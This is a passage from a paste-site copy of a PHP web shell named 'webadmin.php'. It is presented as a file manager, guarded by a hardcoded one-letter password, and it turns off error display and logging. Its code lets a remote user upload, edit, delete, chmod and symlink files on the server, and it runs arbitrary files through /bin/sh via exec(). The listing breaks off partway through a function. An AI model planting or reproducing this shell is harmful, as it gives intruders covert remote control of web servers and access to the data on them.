· 8 years ago · Dec 20, 2017, 08:36 AM
1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12@$pass = $_POST['pass'];
13$chk_login = true;
14$password = "k";
15if($pass == $password)
16{
17 $_SESSION['nst'] = "$pass";
18}
19
20if($chk_login == true)
21{
22 if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password)
23 {
24 die("
25 <title>webadmin.php</title>
26 <center>
27 <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%>
28 <tr><td valign=middle align=center>
29 <table width=100 bgcolor=black border=6 bordercolor=silver><tr><td>
30 <font size=1 face=verdana><center>
31 <b></font></a><br></b>
32 </center>
33 <form method=post>
34 <font size=1 face=verdana color=silver><strong><center>Enter Your Password</center></strong><br>
35 <input type=password name=pass size=30>
36 </form>
37 <center><b>Your IP :</b> ".$_SERVER["REMOTE_ADDR"]."</center>
38 </td></tr></table>
39 </td></tr></table>
40 ");
41 }
42}
43if(get_magic_quotes_gpc()){
44foreach($_POST as $key=>$value){
45$_POST[$key] = stripslashes($value);
46}
47}
48$lang = 'auto';
49$homedir = './';
50
51$editcols = 80;
52$editrows = 25;
53
54$htaccess = '.htaccess';
55$htpasswd = '.htpasswd';
56
57if (get_magic_quotes_gpc()) {
58 array_walk($_GET, 'strip');
59 array_walk($_POST, 'strip');
60 array_walk($_REQUEST, 'strip');
61}
62
63if (array_key_exists('image', $_GET)) {
64 header('Content-Type: image/gif');
65 die(getimage($_GET['image']));
66}
67
68if (!function_exists('lstat')) {
69 function lstat ($filename) {
70 return stat($filename);
71 }
72}
73
74$delim = DIRECTORY_SEPARATOR;
75
76if (function_exists('php_uname')) {
77 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
78} else {
79 $win = ($delim == '\\') ? true : false;
80}
81
82if (!empty($_SERVER['PATH_TRANSLATED'])) {
83 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
84} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
85 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
86} elseif (function_exists('getcwd')) {
87 $scriptdir = getcwd();
88} else {
89 $scriptdir = '.';
90}
91$homedir = relative2absolute($homedir, $scriptdir);
92
93$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
94
95if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
96 $dir = relative2absolute($dir, $_POST['olddir']);
97}
98
99$directory = simplify_path(addslash($dir));
100
101$files = array();
102$action = '';
103if (!empty($_POST['submit_all'])) {
104 $action = $_POST['action_all'];
105 for ($i = 0; $i < $_POST['num']; $i++) {
106 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
107 $files[] = $_POST["file$i"];
108 }
109 }
110} elseif (!empty($_REQUEST['action'])) {
111 $action = $_REQUEST['action'];
112 $files[] = relative2absolute($_REQUEST['file'], $directory);
113} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
114 $files[] = $_FILES['upload'];
115 $action = 'upload';
116} elseif (array_key_exists('num', $_POST)) {
117 for ($i = 0; $i < $_POST['num']; $i++) {
118 if (array_key_exists("submit$i", $_POST)) break;
119 }
120 if ($i < $_POST['num']) {
121 $action = $_POST["action$i"];
122 $files[] = $_POST["file$i"];
123 }
124}
125if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
126 $files[] = relative2absolute($_POST['create_name'], $directory);
127 switch ($_POST['create_type']) {
128 case 'directory':
129 $action = 'create_directory';
130 break;
131 case 'file':
132 $action = 'create_file';
133 }
134}
135if (sizeof($files) == 0) $action = ''; else $file = reset($files);
136
137if ($lang == 'auto') {
138 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
139 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
140 } else {
141 $lang = 'en';
142 }
143}
144
145$words = getwords($lang);
146
147if ($site_charset == 'auto') {
148 $site_charset = $word_charset;
149}
150
151$cols = ($win) ? 4 : 7;
152
153if (!isset($dirpermission)) {
154 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
155}
156if (!isset($filepermission)) {
157 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
158}
159
160if (!empty($_SERVER['SCRIPT_NAME'])) {
161 $self = html(basename($_SERVER['SCRIPT_NAME']));
162} elseif (!empty($_SERVER['PHP_SELF'])) {
163 $self = html(basename($_SERVER['PHP_SELF']));
164} else {
165 $self = '';
166}
167
168if (!empty($_SERVER['SERVER_SOFTWARE'])) {
169 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
170 $apache = true;
171 } else {
172 $apache = false;
173 }
174} else {
175 $apache = true;
176}
177
178switch ($action) {
179
180case 'view':
181
182 if (is_script($file)) {
183
184 ob_start();
185 highlight_file($file);
186 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
187 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
188 ob_end_clean();
189
190 html_header();
191 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
192
193<hr />
194
195<table>
196<tr>
197<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
198<pre style="margin-top: 0"><code>';
199
200 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
201
202 echo '</code></pre>
203</td>
204<td style="text-align: left; vertical-align: top; padding-left: 3pt">
205<pre style="margin-top: 0">' . $src . '</pre>
206</td>
207</tr>
208</table>
209
210';
211
212 html_footer();
213
214 } else {
215
216 header('Content-Type: ' . getmimetype($file));
217 header('Content-Disposition: filename=' . basename($file));
218
219 readfile($file);
220
221 }
222
223 break;
224
225case 'download':
226
227 header('Pragma: public');
228 header('Expires: 0');
229 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
230 header('Content-Type: ' . getmimetype($file));
231 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
232 header('Content-Length: ' . filesize($file));
233
234 readfile($file);
235
236 break;
237
238case 'upload':
239
240 $dest = relative2absolute($file['name'], $directory);
241
242 if (@file_exists($dest)) {
243 listing_page(error('already_exists', $dest));
244 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
245 @chmod($dest, $filepermission);
246 listing_page(notice('uploaded', $file['name']));
247 } else {
248 listing_page(error('not_uploaded', $file['name']));
249 }
250
251 break;
252
253case 'create_directory':
254
255 if (@file_exists($file)) {
256 listing_page(error('already_exists', $file));
257 } else {
258 $old = @umask(0777 & ~$dirpermission);
259 if (@mkdir($file, $dirpermission)) {
260 listing_page(notice('created', $file));
261 } else {
262 listing_page(error('not_created', $file));
263 }
264 @umask($old);
265 }
266
267 break;
268
269case 'create_file':
270
271 if (@file_exists($file)) {
272 listing_page(error('already_exists', $file));
273 } else {
274 $old = @umask(0777 & ~$filepermission);
275 if (@touch($file)) {
276 edit($file);
277 } else {
278 listing_page(error('not_created', $file));
279 }
280 @umask($old);
281 }
282
283 break;
284
285case 'execute':
286
287 chdir(dirname($file));
288
289 $output = array();
290 $retval = 0;
291 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
292
293 $error = ($retval == 0) ? false : true;
294
295 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
296
297 if ($error) {
298 listing_page(error('not_executed', $file, implode("\n", $output)));
299 } else {
300 listing_page(notice('executed', $file, implode("\n", $output)));
301 }
302
303 break;
304
305case 'delete':
306
307 if (!empty($_POST['no'])) {
308 listing_page();
309 } elseif (!empty($_POST['yes'])) {
310
311 $failure = array();
312 $success = array();
313
314 foreach ($files as $file) {
315 if (del($file)) {
316 $success[] = $file;
317 } else {
318 $failure[] = $file;
319 }
320 }
321
322 $message = '';
323 if (sizeof($failure) > 0) {
324 $message = error('not_deleted', implode("\n", $failure));
325 }
326 if (sizeof($success) > 0) {
327 $message .= notice('deleted', implode("\n", $success));
328 }
329
330 listing_page($message);
331
332 } else {
333
334 html_header();
335
336 echo '<form action="' . $self . '" method="post">
337<table class="dialog">
338<tr>
339<td class="dialog">
340';
341
342 request_dump();
343
344 echo "\t<b>" . word('really_delete') . '</b>
345 <p>
346';
347
348 foreach ($files as $file) {
349 echo "\t" . html($file) . "<br />\n";
350 }
351
352 echo ' </p>
353 <hr />
354 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
355 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
356</td>
357</tr>
358</table>
359</form>
360
361';
362
363 html_footer();
364
365 }
366
367 break;
368
369case 'rename':
370
371 if (!empty($_POST['destination'])) {
372
373 $dest = relative2absolute($_POST['destination'], $directory);
374
375 if (!@file_exists($dest) && @rename($file, $dest)) {
376 listing_page(notice('renamed', $file, $dest));
377 } else {
378 listing_page(error('not_renamed', $file, $dest));
379 }
380
381 } else {
382
383 $name = basename($file);
384
385 html_header();
386
387 echo '<form action="' . $self . '" method="post">
388
389<table class="dialog">
390<tr>
391<td class="dialog">
392 <input type="hidden" name="action" value="rename" />
393 <input type="hidden" name="file" value="' . html($file) . '" />
394 <input type="hidden" name="dir" value="' . html($directory) . '" />
395 <b>' . word('rename_file') . '</b>
396 <p>' . html($file) . '</p>
397 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
398 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
399 <hr />
400 <input type="submit" value="' . word('rename') . '" />
401</td>
402</tr>
403</table>
404
405<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
406
407</form>
408
409';
410
411 html_footer();
412
413 }
414
415 break;
416
417case 'move':
418
419 if (!empty($_POST['destination'])) {
420
421 $dest = relative2absolute($_POST['destination'], $directory);
422
423 $failure = array();
424 $success = array();
425
426 foreach ($files as $file) {
427 $filename = substr($file, strlen($directory));
428 $d = $dest . $filename;
429 if (!@file_exists($d) && @rename($file, $d)) {
430 $success[] = $file;
431 } else {
432 $failure[] = $file;
433 }
434 }
435
436 $message = '';
437 if (sizeof($failure) > 0) {
438 $message = error('not_moved', implode("\n", $failure), $dest);
439 }
440 if (sizeof($success) > 0) {
441 $message .= notice('moved', implode("\n", $success), $dest);
442 }
443
444 listing_page($message);
445
446 } else {
447
448 html_header();
449
450 echo '<form action="' . $self . '" method="post">
451
452<table class="dialog">
453<tr>
454<td class="dialog">
455';
456
457 request_dump();
458
459 echo "\t<b>" . word('move_files') . '</b>
460 <p>
461';
462
463 foreach ($files as $file) {
464 echo "\t" . html($file) . "<br />\n";
465 }
466
467 echo ' </p>
468 <hr />
469 ' . word('destination') . ':
470 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
471 <input type="submit" value="' . word('move') . '" />
472</td>
473</tr>
474</table>
475
476<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
477
478</form>
479
480';
481
482 html_footer();
483
484 }
485
486 break;
487
488case 'copy':
489
490 if (!empty($_POST['destination'])) {
491
492 $dest = relative2absolute($_POST['destination'], $directory);
493
494 if (@is_dir($dest)) {
495
496 $failure = array();
497 $success = array();
498
499 foreach ($files as $file) {
500 $filename = substr($file, strlen($directory));
501 $d = addslash($dest) . $filename;
502 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
503 $success[] = $file;
504 } else {
505 $failure[] = $file;
506 }
507 }
508
509 $message = '';
510 if (sizeof($failure) > 0) {
511 $message = error('not_copied', implode("\n", $failure), $dest);
512 }
513 if (sizeof($success) > 0) {
514 $message .= notice('copied', implode("\n", $success), $dest);
515 }
516
517 listing_page($message);
518
519 } else {
520
521 if (!@file_exists($dest) && @copy($file, $dest)) {
522 listing_page(notice('copied', $file, $dest));
523 } else {
524 listing_page(error('not_copied', $file, $dest));
525 }
526
527 }
528
529 } else {
530
531 html_header();
532
533 echo '<form action="' . $self . '" method="post">
534
535<table class="dialog">
536<tr>
537<td class="dialog">
538';
539
540 request_dump();
541
542 echo "\n<b>" . word('copy_files') . '</b>
543 <p>
544';
545
546 foreach ($files as $file) {
547 echo "\t" . html($file) . "<br />\n";
548 }
549
550 echo ' </p>
551 <hr />
552 ' . word('destination') . ':
553 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
554 <input type="submit" value="' . word('copy') . '" />
555</td>
556</tr>
557</table>
558
559<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
560
561</form>
562
563';
564
565 html_footer();
566
567 }
568
569 break;
570
571case 'create_symlink':
572
573 if (!empty($_POST['destination'])) {
574
575 $dest = relative2absolute($_POST['destination'], $directory);
576
577 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
578
579 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
580
581 if (!@file_exists($dest) && @symlink($file, $dest)) {
582 listing_page(notice('symlinked', $file, $dest));
583 } else {
584 listing_page(error('not_symlinked', $file, $dest));
585 }
586
587 } else {
588
589 html_header();
590
591 echo '<form action="' . $self . '" method="post">
592
593<table class="dialog" id="symlink">
594<tr>
595 <td style="vertical-align: top">' . word('destination') . ': </td>
596 <td>
597 <b>' . html($file) . '</b><br />
598 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
599 <label for="checkbox_relative">' . word('relative') . '</label>
600 <input type="hidden" name="action" value="create_symlink" />
601 <input type="hidden" name="file" value="' . html($file) . '" />
602 <input type="hidden" name="dir" value="' . html($directory) . '" />
603 </td>
604</tr>
605<tr>
606 <td>' . word('symlink') . ': </td>
607 <td>
608 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
609 <input type="submit" value="' . word('create_symlink') . '" />
610 </td>
611</tr>
612</table>
613
614<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
615
616</form>
617
618';
619
620 html_footer();
621
622 }
623
624 break;
625
626case 'edit':
627
628 if (!empty($_POST['save'])) {
629
630 $content = str_replace("\r\n", "\n", $_POST['content']);
631
632 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
633 listing_page(notice('saved', $file));
634 } else {
635 listing_page(error('not_saved', $file));
636 }
637
638 } else {
639
640 if (@is_readable($file) && @is_writable($file)) {
641 edit($file);
642 } else {
643 listing_page(error('not_edited', $file));
644 }
645
646 }
647
648 break;
649
650case 'permission':
651
652 if (!empty($_POST['set'])) {
653
654 $mode = 0;
655 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
656 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
657 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
658
659 if (@chmod($file, $mode)) {
660 listing_page(notice('permission_set', $file, decoct($mode)));
661 } else {
662 listing_page(error('permission_not_set', $file, decoct($mode)));
663 }
664
665 } else {
666
667 html_header();
668
669 $mode = fileperms($file);
670
671 echo '<form action="' . $self . '" method="post">
672
673<table class="dialog">
674<tr>
675<td class="dialog">
676
677 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
678
679 <hr />
680
681 <table id="permission">
682 <tr>
683 <td></td>
684 <td style="border-right: 1px solid black">' . word('owner') . '</td>
685 <td style="border-right: 1px solid black">' . word('group') . '</td>
686 <td>' . word('other') . '</td>
687 </tr>
688 <tr>
689 <td style="text-align: right">' . word('read') . ':</td>
690 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
691 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
692 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
693 </tr>
694 <tr>
695 <td style="text-align: right">' . word('write') . ':</td>
696 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
697 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
698 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
699 </tr>
700 <tr>
701 <td style="text-align: right">' . word('execute') . ':</td>
702 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
703 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
704 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
705 </tr>
706 </table>
707
708 <hr />
709
710 <input type="submit" name="set" value="' . word('set') . '" />
711
712 <input type="hidden" name="action" value="permission" />
713 <input type="hidden" name="file" value="' . html($file) . '" />
714 <input type="hidden" name="dir" value="' . html($directory) . '" />
715
716</td>
717</tr>
718</table>
719
720<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
721
722</form>
723
724';
725
726 html_footer();
727
728 }
729
730 break;
731
732default:
733
734 listing_page();
735
736}
737
738/* ------------------------------------------------------------------------- */
739
740function getlist ($directory) {
741 global $delim, $win;
742
743 if ($d = @opendir($directory)) {
744
745 while (($filename = @readdir($d)) !== false) {
746
747 $path = $directory . $filename;
748
749 if ($stat = @lstat($path)) {
750
751 $file = array(
752 'filename' => $filename,
753 'path' => $path,
754 'is_file' => @is_file($path),
755 'is_dir' => @is_dir($path),
756 'is_link' => @is_link($path),
757 'is_readable' => @is_readable($path),
758 'is_writable' => @is_writable($path),
759 'size' => $stat['size'],
760 'permission' => $stat['mode'],
761 'owner' => $stat['uid'],
762 'group' => $stat['gid'],
763 'mtime' => @filemtime($path),
764 'atime' => @fileatime($path),
765 'ctime' => @filectime($path)
766 );
767
768 if ($file['is_dir']) {
769 $file['is_executable'] = @file_exists($path . $delim . '.');
770 } else {
771 if (!$win) {
772 $file['is_executable'] = @is_executable($path);
773 } else {
774 $file['is_executable'] = true;
775 }
776 }
777
778 if ($file['is_link']) $file['target'] = @readlink($path);
779
780 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
781 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
782
783 $files[] = $file;
784
785 }
786
787 }
788
789 return $files;
790
791 } else {
792 return false;
793 }
794
795}
796
797function sortlist ($list, $key, $reverse) {
798
799 $dirs = array();
800 $files = array();
801
802 for ($i = 0; $i < sizeof($list); $i++) {
803 if ($list[$i]['is_dir']) $dirs[] = $list[$i];
804 else $files[] = $list[$i];
805 }
806
807 quicksort($dirs, 0, sizeof($dirs) - 1, $key);
808 if ($reverse) $dirs = array_reverse($dirs);
809
810 quicksort($files, 0, sizeof($files) - 1, $key);
811 if ($reverse) $files = array_reverse($files);
812
813 return array_merge($dirs, $files);
814
815}
816
817function quicksort (&$array, $first, $last, $key) {
818
819 if ($first < $last) {
820
821 $cmp = $array[floor(($first + $last) / 2)][$key];
822
823 $l = $first;
824 $r = $last;
825
826 while ($l <= $r) {
827
828 while ($array[$l][$key] < $cmp) $l++;
829 while ($array[$r][$key] > $cmp) $r--;
830
831 if ($l <= $r) {
832
833 $tmp = $array[$l];
834 $array[$l] = $array[$r];
835 $array[$r] = $tmp;
836
837 $l++;
838 $r--;
839
840 }
841
842 }
843
844 quicksort($array, $first, $r, $key);
845 quicksort($array, $l, $last, $key);
846
847 }
848
849}
850
851function permission_octal2string ($mode) {
852
853 if (($mode & 0xC000) === 0xC000) {
854 $type = 's';
855 } elseif (($mode & 0xA000) === 0xA000) {
856 $type = 'l';
857 } elseif (($mode & 0x8000) === 0x8000) {
858 $type = '-';
859 } elseif (($mode & 0x6000) === 0x6000) {
860 $type = 'b';
861 } elseif (($mode & 0x4000) === 0x4000) {
862 $type = 'd';
863 } elseif (($mode & 0x2000) === 0x2000) {
864 $type = 'c';
865 } elseif (($mode & 0x1000) === 0x1000) {
866 $type = 'p';
867 } else {
868 $type = '?';
869 }
870
871 $owner = ($mode & 00400) ? 'r' : '-';
872 $owner .= ($mode & 00200) ? 'w' : '-';
873 if ($mode & 0x800) {
874 $owner .= ($mode & 00100) ? 's' : 'S';
875 } else {
876 $owner .= ($mode & 00100) ? 'x' : '-';
877 }
878
879 $group = ($mode & 00040) ? 'r' : '-';
880 $group .= ($mode & 00020) ? 'w' : '-';
881 if ($mode & 0x400) {
882 $group .= ($mode & 00010) ? 's' : 'S';
883 } else {
884 $group .= ($mode & 00010) ? 'x' : '-';
885 }
886
887 $other = ($mode & 00004) ? 'r' : '-';
888 $other .= ($mode & 00002) ? 'w' : '-';
889 if ($mode & 0x200) {
890 $other .= ($mode & 00001) ? 't' : 'T';
891 } else {
892 $other .= ($mode & 00001) ? 'x' : '-';
893 }
894
895 return $type . $owner . $group . $other;
896
897}
898
899function is_script ($filename) {
900 return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
901}
902
903function getmimetype ($filename) {
904 static $mimes = array(
905 '\.jpg$|\.jpeg$' => 'image/jpeg',
906 '\.gif$' => 'image/gif',
907 '\.png$' => 'image/png',
908 '\.html$|\.html$' => 'text/html',
909 '\.txt$|\.asc$' => 'text/plain',
910 '\.xml$|\.xsl$' => 'application/xml',
911 '\.pdf$' => 'application/pdf'
912 );
913
914 foreach ($mimes as $regex => $mime) {
915 if (eregi($regex, $filename)) return $mime;
916 }
917
918 // return 'application/octet-stream';
919 return 'text/plain';
920
921}
922
923function del ($file) {
924 global $delim;
925
926 if (!file_exists($file)) return false;
927
928 if (@is_dir($file) && !@is_link($file)) {
929
930 $success = false;
931
932 if (@rmdir($file)) {
933
934 $success = true;
935
936 } elseif ($dir = @opendir($file)) {
937
938 $success = true;
939
940 while (($f = readdir($dir)) !== false) {
941 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
942 $success = false;
943 }
944 }
945 closedir($dir);
946
947 if ($success) $success = @rmdir($file);
948
949 }
950
951 return $success;
952
953 }
954
955 return @unlink($file);
956
957}
958
959function addslash ($directory) {
960 global $delim;
961
962 if (substr($directory, -1, 1) != $delim) {
963 return $directory . $delim;
964 } else {
965 return $directory;
966 }
967
968}
969
970function relative2absolute ($string, $directory) {
971
972 if (path_is_relative($string)) {
973 return simplify_path(addslash($directory) . $string);
974 } else {
975 return simplify_path($string);
976 }
977
978}
979
980function path_is_relative ($path) {
981 global $win;
982
983 if ($win) {
984 return (substr($path, 1, 1) != ':');
985 } else {
986 return (substr($path, 0, 1) != '/');
987 }
988
989}
990
991function absolute2relative ($directory, $target) {
992 global $delim;
993
994 $path = '';
995 while ($directory != $target) {
996 if ($directory == substr($target, 0, strlen($directory))) {
997 $path .= substr($target, strlen($directory));
998 break;
999 } else {
1000 $path .= '..' . $delim;
1001 $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
1002 }
1003 }
1004 if ($path == '') $path = '.';
1005
1006 return $path;
1007
1008}
1009
1010function simplify_path ($path) {
1011 global $delim;
1012
1013 if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
1014 $path = realpath($path);
1015 if (@is_dir($path)) {
1016 return addslash($path);
1017 } else {
1018 return $path;
1019 }
1020 }
1021
1022 $pattern = $delim . '.' . $delim;
1023
1024 if (@is_dir($path)) {
1025 $path = addslash($path);
1026 }
1027
1028 while (strpos($path, $pattern) !== false) {
1029 $path = str_replace($pattern, $delim, $path);
1030 }
1031
1032 $e = addslashes($delim);
1033 $regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
1034
1035 while (ereg($regex, $path)) {
1036 $path = ereg_replace($regex, $delim, $path);
1037 }
1038
1039 return $path;
1040
1041}
1042
1043function human_filesize ($filesize) {
1044
1045 $suffices = 'kMGTPE';
1046
1047 $n = 0;
1048 while ($filesize >= 1000) {
1049 $filesize /= 1024;
1050 $n++;
1051 }
1052
1053 $filesize = round($filesize, 3 - strpos($filesize, '.'));
1054
1055 if (strpos($filesize, '.') !== false) {
1056 while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
1057 $filesize = substr($filesize, 0, strlen($filesize) - 1);
1058 }
1059 }
1060
1061 $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
1062
1063 return $filesize . " {$suffix}B";
1064
1065}
1066
1067function strip (&$str) {
1068 $str = stripslashes($str);
1069}
1070
1071/* ------------------------------------------------------------------------- */
1072
1073function listing_page ($message = null) {
1074 global $self, $directory, $sort, $reverse;
1075
1076 html_header();
1077
1078 $list = getlist($directory);
1079
1080 if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
1081 if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
1082
1083 echo '<h1 style="margin-bottom: 0">webadmin.php</h1>
1084
1085<form enctype="multipart/form-data" action="' . $self . '" method="post">
1086
1087<table id="main">
1088';
1089
1090 directory_choice();
1091
1092 if (!empty($message)) {
1093 spacer();
1094 echo $message;
1095 }
1096
1097 if (@is_writable($directory)) {
1098 upload_box();
1099 create_box();
1100 } else {
1101 spacer();
1102 }
1103
1104 if ($list) {
1105 $list = sortlist($list, $sort, $reverse);
1106 listing($list);
1107 } else {
1108 echo error('not_readable', $directory);
1109 }
1110
1111 echo '</table>
1112
1113</form>
1114
1115';
1116
1117 html_footer();
1118
1119}
1120
1121function listing ($list) {
1122 global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
1123
1124 echo '<tr class="listing">
1125 <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
1126';
1127
1128 column_title('filename', $sort, $reverse);
1129 column_title('size', $sort, $reverse);
1130
1131 if (!$win) {
1132 column_title('permission', $sort, $reverse);
1133 column_title('owner', $sort, $reverse);
1134 column_title('group', $sort, $reverse);
1135 }
1136
1137 echo ' <th class="functions">' . word('functions') . '</th>
1138</tr>
1139';
1140
1141 for ($i = 0; $i < sizeof($list); $i++) {
1142 $file = $list[$i];
1143
1144 $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
1145 $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
1146 $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
1147
1148 echo '<tr class="listing">
1149 <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
1150 <td class="filename" title="' . html($timestamps) . '">';
1151
1152 if ($file['is_link']) {
1153
1154 echo '<img src="' . $self . '?image=link" alt="link" /> ';
1155 echo html($file['filename']) . ' → ';
1156
1157 $real_file = relative2absolute($file['target'], $directory);
1158
1159 if (@is_readable($real_file)) {
1160 if (@is_dir($real_file)) {
1161 echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
1162 } else {
1163 echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1164 }
1165 } else {
1166 echo html($file['target']);
1167 }
1168
1169 } elseif ($file['is_dir']) {
1170
1171 echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1172 if ($win || $file['is_executable']) {
1173 echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1174 } else {
1175 echo html($file['filename']);
1176 }
1177 echo ' ]';
1178
1179 } else {
1180
1181 if (substr($file['filename'], 0, 1) == '.') {
1182 echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1183 } else {
1184 echo '<img src="' . $self . '?image=file" alt="file" /> ';
1185 }
1186
1187 if ($file['is_file'] && $file['is_readable']) {
1188 echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1189 } else {
1190 echo html($file['filename']);
1191 }
1192
1193 }
1194
1195 if ($file['size'] >= 1000) {
1196 $human = ' title="' . human_filesize($file['size']) . '"';
1197 } else {
1198 $human = '';
1199 }
1200
1201 echo "</td>\n";
1202
1203 echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1204
1205 if (!$win) {
1206
1207 echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1208
1209 $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1210 if ($l) echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
1211 echo html(permission_octal2string($file['permission']));
1212 if ($l) echo '</a>';
1213
1214 echo "</td>\n";
1215
1216 if (array_key_exists('owner_name', $file)) {
1217 echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1218 } else {
1219 echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1220 }
1221
1222 if (array_key_exists('group_name', $file)) {
1223 echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1224 } else {
1225 echo "\t<td class=\"group\">{$file['group']}</td>\n";
1226 }
1227
1228 }
1229
